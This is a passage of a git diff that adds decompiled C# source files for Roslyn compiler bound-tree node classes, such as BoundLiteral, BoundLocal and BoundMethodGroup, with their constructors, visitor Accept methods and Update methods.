b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundListPatternIndexPlaceholder.cs new file mode 100644 index 0000000..fee3ee5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundListPatternIndexPlaceholder.cs @@ -0,0 +1,45 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundListPatternIndexPlaceholder : BoundEarlyValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/BoundExpression.cs", 217); + } + } + + public new TypeSymbol Type => base.Type; + + public BoundListPatternIndexPlaceholder(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.ListPatternIndexPlaceholder, syntax, type, hasErrors) + { + } + + public BoundListPatternIndexPlaceholder(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.ListPatternIndexPlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitListPatternIndexPlaceholder(this); + } + + public BoundListPatternIndexPlaceholder Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundListPatternIndexPlaceholder boundListPatternIndexPlaceholder = new BoundListPatternIndexPlaceholder(Syntax, type, base.HasErrors); + boundListPatternIndexPlaceholder.CopyAttributes(this); + return boundListPatternIndexPlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundListPatternReceiverPlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundListPatternReceiverPlaceholder.cs new file mode 100644 index 0000000..dd6965d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundListPatternReceiverPlaceholder.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundListPatternReceiverPlaceholder : BoundEarlyValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference => false; + + public new TypeSymbol Type => base.Type; + + public BoundListPatternReceiverPlaceholder(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.ListPatternReceiverPlaceholder, syntax, type, hasErrors) + { + } + + public BoundListPatternReceiverPlaceholder(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.ListPatternReceiverPlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitListPatternReceiverPlaceholder(this); + } + + public BoundListPatternReceiverPlaceholder Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundListPatternReceiverPlaceholder boundListPatternReceiverPlaceholder = new BoundListPatternReceiverPlaceholder(Syntax, type, base.HasErrors); + boundListPatternReceiverPlaceholder.CopyAttributes(this); + return boundListPatternReceiverPlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLiteral.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLiteral.cs new file mode 100644 index 0000000..4235f5b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLiteral.cs @@ -0,0 +1,51 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLiteral : BoundExpression +{ + public override object Display + { + get + { + ConstantValue? constantValueOpt = ConstantValueOpt; + if (constantValueOpt == null || !constantValueOpt.IsNull) + { + return base.Display; + } + return MessageID.IDS_NULL.Localize(); + } + } + + public override ConstantValue? ConstantValueOpt { get; } + + public BoundLiteral(SyntaxNode syntax, ConstantValue? constantValueOpt, TypeSymbol? type, bool hasErrors) + : base(BoundKind.Literal, syntax, type, hasErrors) + { + ConstantValueOpt = constantValueOpt; + } + + public BoundLiteral(SyntaxNode syntax, ConstantValue? constantValueOpt, TypeSymbol? type) + : base(BoundKind.Literal, syntax, type) + { + ConstantValueOpt = constantValueOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLiteral(this); + } + + public BoundLiteral Update(ConstantValue? constantValueOpt, TypeSymbol? type) + { + if (constantValueOpt != ConstantValueOpt || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundLiteral boundLiteral = new BoundLiteral(Syntax, constantValueOpt, type, base.HasErrors); + boundLiteral.CopyAttributes(this); + return boundLiteral; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocal.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocal.cs new file mode 100644 index 0000000..1505b4d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocal.cs @@ -0,0 +1,64 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLocal : BoundExpression +{ + public override Symbol ExpressionSymbol => LocalSymbol; + + public new TypeSymbol Type => base.Type; + + public LocalSymbol LocalSymbol { get; } + + public BoundLocalDeclarationKind DeclarationKind { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + public bool IsNullableUnknown { get; } + + public BoundLocal(SyntaxNode syntax, LocalSymbol localSymbol, ConstantValue? constantValueOpt, TypeSymbol type, bool hasErrors = false) + : this(syntax, localSymbol, BoundLocalDeclarationKind.None, constantValueOpt, isNullableUnknown: false, type, hasErrors) + { + } + + public BoundLocal Update(LocalSymbol localSymbol, ConstantValue? constantValueOpt, TypeSymbol type) + { + return Update(localSymbol, DeclarationKind, constantValueOpt, IsNullableUnknown, type); + } + + public BoundLocal(SyntaxNode syntax, LocalSymbol localSymbol, BoundLocalDeclarationKind declarationKind, ConstantValue? constantValueOpt, bool isNullableUnknown, TypeSymbol type, bool hasErrors) + : base(BoundKind.Local, syntax, type, hasErrors) + { + LocalSymbol = localSymbol; + DeclarationKind = declarationKind; + ConstantValueOpt = constantValueOpt; + IsNullableUnknown = isNullableUnknown; + } + + public BoundLocal(SyntaxNode syntax, LocalSymbol localSymbol, BoundLocalDeclarationKind declarationKind, ConstantValue? constantValueOpt, bool isNullableUnknown, TypeSymbol type) + : base(BoundKind.Local, syntax, type) + { + LocalSymbol = localSymbol; + DeclarationKind = declarationKind; + ConstantValueOpt = constantValueOpt; + IsNullableUnknown = isNullableUnknown; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLocal(this); + } + + public BoundLocal Update(LocalSymbol localSymbol, BoundLocalDeclarationKind declarationKind, ConstantValue? constantValueOpt, bool isNullableUnknown, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(localSymbol, LocalSymbol) || declarationKind != DeclarationKind || constantValueOpt != ConstantValueOpt || isNullableUnknown != IsNullableUnknown || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundLocal boundLocal = new BoundLocal(Syntax, localSymbol, declarationKind, constantValueOpt, isNullableUnknown, type, base.HasErrors); + boundLocal.CopyAttributes(this); + return boundLocal; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalDeclaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalDeclaration.cs new file mode 100644 index 0000000..aadde81 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalDeclaration.cs @@ -0,0 +1,45 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLocalDeclaration : BoundStatement +{ + public LocalSymbol LocalSymbol { get; } + + public BoundTypeExpression? DeclaredTypeOpt { get; } + + public BoundExpression? InitializerOpt { get; } + + public ImmutableArray ArgumentsOpt { get; } + + public bool InferredType { get; } + + public BoundLocalDeclaration(SyntaxNode syntax, LocalSymbol localSymbol, BoundTypeExpression? declaredTypeOpt, BoundExpression? initializerOpt, ImmutableArray argumentsOpt, bool inferredType, bool hasErrors = false) + : base(BoundKind.LocalDeclaration, syntax, hasErrors || declaredTypeOpt.HasErrors() || initializerOpt.HasErrors() || argumentsOpt.HasErrors()) + { + LocalSymbol = localSymbol; + DeclaredTypeOpt = declaredTypeOpt; + InitializerOpt = initializerOpt; + ArgumentsOpt = argumentsOpt; + InferredType = inferredType; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLocalDeclaration(this); + } + + public BoundLocalDeclaration Update(LocalSymbol localSymbol, BoundTypeExpression? declaredTypeOpt, BoundExpression? initializerOpt, ImmutableArray argumentsOpt, bool inferredType) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(localSymbol, LocalSymbol) || declaredTypeOpt != DeclaredTypeOpt || initializerOpt != InitializerOpt || argumentsOpt != ArgumentsOpt || inferredType != InferredType) + { + BoundLocalDeclaration boundLocalDeclaration = new BoundLocalDeclaration(Syntax, localSymbol, declaredTypeOpt, initializerOpt, argumentsOpt, inferredType, base.HasErrors); + boundLocalDeclaration.CopyAttributes(this); + return boundLocalDeclaration; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalDeclarationKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalDeclarationKind.cs new file mode 100644 index 0000000..fbaf5b0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalDeclarationKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum BoundLocalDeclarationKind +{ + None, + WithExplicitType, + WithInferredType +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalFunctionStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalFunctionStatement.cs new file mode 100644 index 0000000..c847c6c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalFunctionStatement.cs @@ -0,0 +1,46 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLocalFunctionStatement : BoundStatement, IBoundLambdaOrFunction +{ + public BoundBlock? Body => BlockBody ?? ExpressionBody; + + MethodSymbol IBoundLambdaOrFunction.Symbol => Symbol; + + SyntaxNode IBoundLambdaOrFunction.Syntax => Syntax; + + BoundBlock? IBoundLambdaOrFunction.Body => Body; + + public LocalFunctionSymbol Symbol { get; } + + public BoundBlock? BlockBody { get; } + + public BoundBlock? ExpressionBody { get; } + + public BoundLocalFunctionStatement(SyntaxNode syntax, LocalFunctionSymbol symbol, BoundBlock? blockBody, BoundBlock? expressionBody, bool hasErrors = false) + : base(BoundKind.LocalFunctionStatement, syntax, hasErrors || blockBody.HasErrors() || expressionBody.HasErrors()) + { + Symbol = symbol; + BlockBody = blockBody; + ExpressionBody = expressionBody; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLocalFunctionStatement(this); + } + + public BoundLocalFunctionStatement Update(LocalFunctionSymbol symbol, BoundBlock? blockBody, BoundBlock? expressionBody) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(symbol, Symbol) || blockBody != BlockBody || expressionBody != ExpressionBody) + { + BoundLocalFunctionStatement boundLocalFunctionStatement = new BoundLocalFunctionStatement(Syntax, symbol, blockBody, expressionBody, base.HasErrors); + boundLocalFunctionStatement.CopyAttributes(this); + return boundLocalFunctionStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalId.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalId.cs new file mode 100644 index 0000000..c291cd2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLocalId.cs @@ -0,0 +1,44 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLocalId : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public LocalSymbol Local { get; } + + public FieldSymbol? HoistedField { get; } + + public BoundLocalId(SyntaxNode syntax, LocalSymbol local, FieldSymbol? hoistedField, TypeSymbol type, bool hasErrors) + : base(BoundKind.LocalId, syntax, type, hasErrors) + { + Local = local; + HoistedField = hoistedField; + } + + public BoundLocalId(SyntaxNode syntax, LocalSymbol local, FieldSymbol? hoistedField, TypeSymbol type) + : base(BoundKind.LocalId, syntax, type) + { + Local = local; + HoistedField = hoistedField; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLocalId(this); + } + + public BoundLocalId Update(LocalSymbol local, FieldSymbol? hoistedField, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(local, Local) || !SymbolEqualityComparer.ConsiderEverything.Equals(hoistedField, HoistedField) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundLocalId boundLocalId = new BoundLocalId(Syntax, local, hoistedField, type, base.HasErrors); + boundLocalId.CopyAttributes(this); + return boundLocalId; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLockStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLockStatement.cs new file mode 100644 index 0000000..01432bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLockStatement.cs @@ -0,0 +1,34 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLockStatement : BoundStatement +{ + public BoundExpression Argument { get; } + + public BoundStatement Body { get; } + + public BoundLockStatement(SyntaxNode syntax, BoundExpression argument, BoundStatement body, bool hasErrors = false) + : base(BoundKind.LockStatement, syntax, hasErrors || argument.HasErrors() || body.HasErrors()) + { + Argument = argument; + Body = body; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLockStatement(this); + } + + public BoundLockStatement Update(BoundExpression argument, BoundStatement body) + { + if (argument != Argument || body != Body) + { + BoundLockStatement boundLockStatement = new BoundLockStatement(Syntax, argument, body, base.HasErrors); + boundLockStatement.CopyAttributes(this); + return boundLockStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLoopStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLoopStatement.cs new file mode 100644 index 0000000..9c7c9b8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLoopStatement.cs @@ -0,0 +1,24 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundLoopStatement : BoundStatement +{ + public GeneratedLabelSymbol BreakLabel { get; } + + public GeneratedLabelSymbol ContinueLabel { get; } + + protected BoundLoopStatement(BoundKind kind, SyntaxNode syntax, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, bool hasErrors) + : base(kind, syntax, hasErrors) + { + BreakLabel = breakLabel; + ContinueLabel = continueLabel; + } + + protected BoundLoopStatement(BoundKind kind, SyntaxNode syntax, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel) + : base(kind, syntax) + { + BreakLabel = breakLabel; + ContinueLabel = continueLabel; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLoweredConditionalAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLoweredConditionalAccess.cs new file mode 100644 index 0000000..f2b945f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLoweredConditionalAccess.cs @@ -0,0 +1,49 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLoweredConditionalAccess : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Receiver { get; } + + public MethodSymbol? HasValueMethodOpt { get; } + + public BoundExpression WhenNotNull { get; } + + public BoundExpression? WhenNullOpt { get; } + + public int Id { get; } + + public bool ForceCopyOfNullableValueType { get; } + + public BoundLoweredConditionalAccess(SyntaxNode syntax, BoundExpression receiver, MethodSymbol? hasValueMethodOpt, BoundExpression whenNotNull, BoundExpression? whenNullOpt, int id, bool forceCopyOfNullableValueType, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.LoweredConditionalAccess, syntax, type, hasErrors || receiver.HasErrors() || whenNotNull.HasErrors() || whenNullOpt.HasErrors()) + { + Receiver = receiver; + HasValueMethodOpt = hasValueMethodOpt; + WhenNotNull = whenNotNull; + WhenNullOpt = whenNullOpt; + Id = id; + ForceCopyOfNullableValueType = forceCopyOfNullableValueType; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLoweredConditionalAccess(this); + } + + public BoundLoweredConditionalAccess Update(BoundExpression receiver, MethodSymbol? hasValueMethodOpt, BoundExpression whenNotNull, BoundExpression? whenNullOpt, int id, bool forceCopyOfNullableValueType, TypeSymbol type) + { + if (receiver != Receiver || !SymbolEqualityComparer.ConsiderEverything.Equals(hasValueMethodOpt, HasValueMethodOpt) || whenNotNull != WhenNotNull || whenNullOpt != WhenNullOpt || id != Id || forceCopyOfNullableValueType != ForceCopyOfNullableValueType || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundLoweredConditionalAccess boundLoweredConditionalAccess = new BoundLoweredConditionalAccess(Syntax, receiver, hasValueMethodOpt, whenNotNull, whenNullOpt, id, forceCopyOfNullableValueType, type, base.HasErrors); + boundLoweredConditionalAccess.CopyAttributes(this); + return boundLoweredConditionalAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMakeRefOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMakeRefOperator.cs new file mode 100644 index 0000000..214b4bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMakeRefOperator.cs @@ -0,0 +1,37 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundMakeRefOperator : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Operand); + + public new TypeSymbol Type => base.Type; + + public BoundExpression Operand { get; } + + public BoundMakeRefOperator(SyntaxNode syntax, BoundExpression operand, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.MakeRefOperator, syntax, type, hasErrors || operand.HasErrors()) + { + Operand = operand; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitMakeRefOperator(this); + } + + public BoundMakeRefOperator Update(BoundExpression operand, TypeSymbol type) + { + if (operand != Operand || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundMakeRefOperator boundMakeRefOperator = new BoundMakeRefOperator(Syntax, operand, type, base.HasErrors); + boundMakeRefOperator.CopyAttributes(this); + return boundMakeRefOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMaximumMethodDefIndex.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMaximumMethodDefIndex.cs new file mode 100644 index 0000000..e67e0ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMaximumMethodDefIndex.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundMaximumMethodDefIndex : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundMaximumMethodDefIndex(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.MaximumMethodDefIndex, syntax, type, hasErrors) + { + } + + public BoundMaximumMethodDefIndex(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.MaximumMethodDefIndex, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitMaximumMethodDefIndex(this); + } + + public BoundMaximumMethodDefIndex Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundMaximumMethodDefIndex boundMaximumMethodDefIndex = new BoundMaximumMethodDefIndex(Syntax, type, base.HasErrors); + boundMaximumMethodDefIndex.CopyAttributes(this); + return boundMaximumMethodDefIndex; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodBodyBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodBodyBase.cs new file mode 100644 index 0000000..c0007f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodBodyBase.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundMethodBodyBase : BoundNode +{ + public BoundBlock? BlockBody { get; } + + public BoundBlock? ExpressionBody { get; } + + protected BoundMethodBodyBase(BoundKind kind, SyntaxNode syntax, BoundBlock? blockBody, BoundBlock? expressionBody, bool hasErrors = false) + : base(kind, syntax, hasErrors) + { + BlockBody = blockBody; + ExpressionBody = expressionBody; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodDefIndex.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodDefIndex.cs new file mode 100644 index 0000000..cfadbce --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodDefIndex.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundMethodDefIndex : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public MethodSymbol Method { get; } + + public BoundMethodDefIndex(SyntaxNode syntax, MethodSymbol method, TypeSymbol type, bool hasErrors) + : base(BoundKind.MethodDefIndex, syntax, type, hasErrors) + { + Method = method; + } + + public BoundMethodDefIndex(SyntaxNode syntax, MethodSymbol method, TypeSymbol type) + : base(BoundKind.MethodDefIndex, syntax, type) + { + Method = method; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitMethodDefIndex(this); + } + + public BoundMethodDefIndex Update(MethodSymbol method, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(method, Method) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundMethodDefIndex boundMethodDefIndex = new BoundMethodDefIndex(Syntax, method, type, base.HasErrors); + boundMethodDefIndex.CopyAttributes(this); + return boundMethodDefIndex; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodGroup.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodGroup.cs new file mode 100644 index 0000000..748a2a0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodGroup.cs @@ -0,0 +1,94 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundMethodGroup : BoundMethodOrPropertyGroup +{ + public MemberAccessExpressionSyntax? MemberAccessExpressionSyntax => Syntax as MemberAccessExpressionSyntax; + + public SyntaxNode NameSyntax + { + get + { + MemberAccessExpressionSyntax memberAccessExpressionSyntax = MemberAccessExpressionSyntax; + if (memberAccessExpressionSyntax != null) + { + return (SyntaxNode)(object)memberAccessExpressionSyntax.Name; + } + return Syntax; + } + } + + public BoundExpression? InstanceOpt + { + get + { + if (base.ReceiverOpt == null || base.ReceiverOpt.Kind == BoundKind.TypeExpression) + { + return null; + } + return base.ReceiverOpt; + } + } + + public bool SearchExtensionMethods => ((uint?)Flags & 1u) != 0; + + public override object Display => MessageID.IDS_MethodGroup.Localize(); + + public ImmutableArray TypeArgumentsOpt { get; } + + public string Name { get; } + + public ImmutableArray Methods { get; } + + public Symbol? LookupSymbolOpt { get; } + + public DiagnosticInfo? LookupError { get; } + + public BoundMethodGroupFlags? Flags { get; } + + public FunctionTypeSymbol? FunctionType { get; } + + public BoundMethodGroup(SyntaxNode syntax, ImmutableArray typeArgumentsOpt, BoundExpression receiverOpt, string name, ImmutableArray methods, LookupResult lookupResult, BoundMethodGroupFlags flags, Binder binder, bool hasErrors = false) + : this(syntax, typeArgumentsOpt, name, methods, lookupResult.SingleSymbolOrDefault, lookupResult.Error, flags, GetFunctionType(binder, syntax), receiverOpt, lookupResult.Kind, hasErrors) + { + FunctionType?.SetExpression(this); + } + + private static FunctionTypeSymbol? GetFunctionType(Binder binder, SyntaxNode syntax) + { + return FunctionTypeSymbol.CreateIfFeatureEnabled(syntax, binder, (Binder binder2, BoundExpression expr) => binder2.GetMethodGroupDelegateType((BoundMethodGroup)expr)); + } + + public BoundMethodGroup(SyntaxNode syntax, ImmutableArray typeArgumentsOpt, string name, ImmutableArray methods, Symbol? lookupSymbolOpt, DiagnosticInfo? lookupError, BoundMethodGroupFlags? flags, FunctionTypeSymbol? functionType, BoundExpression? receiverOpt, LookupResultKind resultKind, bool hasErrors = false) + : base(BoundKind.MethodGroup, syntax, receiverOpt, resultKind, hasErrors || receiverOpt.HasErrors()) + { + TypeArgumentsOpt = typeArgumentsOpt; + Name = name; + Methods = methods; + LookupSymbolOpt = lookupSymbolOpt; + LookupError = lookupError; + Flags = flags; + FunctionType = functionType; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitMethodGroup(this); + } + + public BoundMethodGroup Update(ImmutableArray typeArgumentsOpt, string name, ImmutableArray methods, Symbol? lookupSymbolOpt, DiagnosticInfo? lookupError, BoundMethodGroupFlags? flags, FunctionTypeSymbol? functionType, BoundExpression? receiverOpt, LookupResultKind resultKind) + { + if (typeArgumentsOpt != TypeArgumentsOpt || name != Name || methods != Methods || !SymbolEqualityComparer.ConsiderEverything.Equals(lookupSymbolOpt, LookupSymbolOpt) || lookupError != LookupError || flags != Flags || !SymbolEqualityComparer.ConsiderEverything.Equals(functionType, FunctionType) || receiverOpt != base.ReceiverOpt || resultKind != ResultKind) + { + BoundMethodGroup boundMethodGroup = new BoundMethodGroup(Syntax, typeArgumentsOpt, name, methods, lookupSymbolOpt, lookupError, flags, functionType, receiverOpt, resultKind, base.HasErrors); + boundMethodGroup.CopyAttributes(this); + return boundMethodGroup; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodGroupFlags.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodGroupFlags.cs new file mode 100644 index 0000000..7ac44e0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodGroupFlags.cs @@ -0,0 +1,11 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +[Flags] +internal enum BoundMethodGroupFlags +{ + None = 0, + SearchExtensionMethods = 1, + HasImplicitReceiver = 2 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodInfo.cs 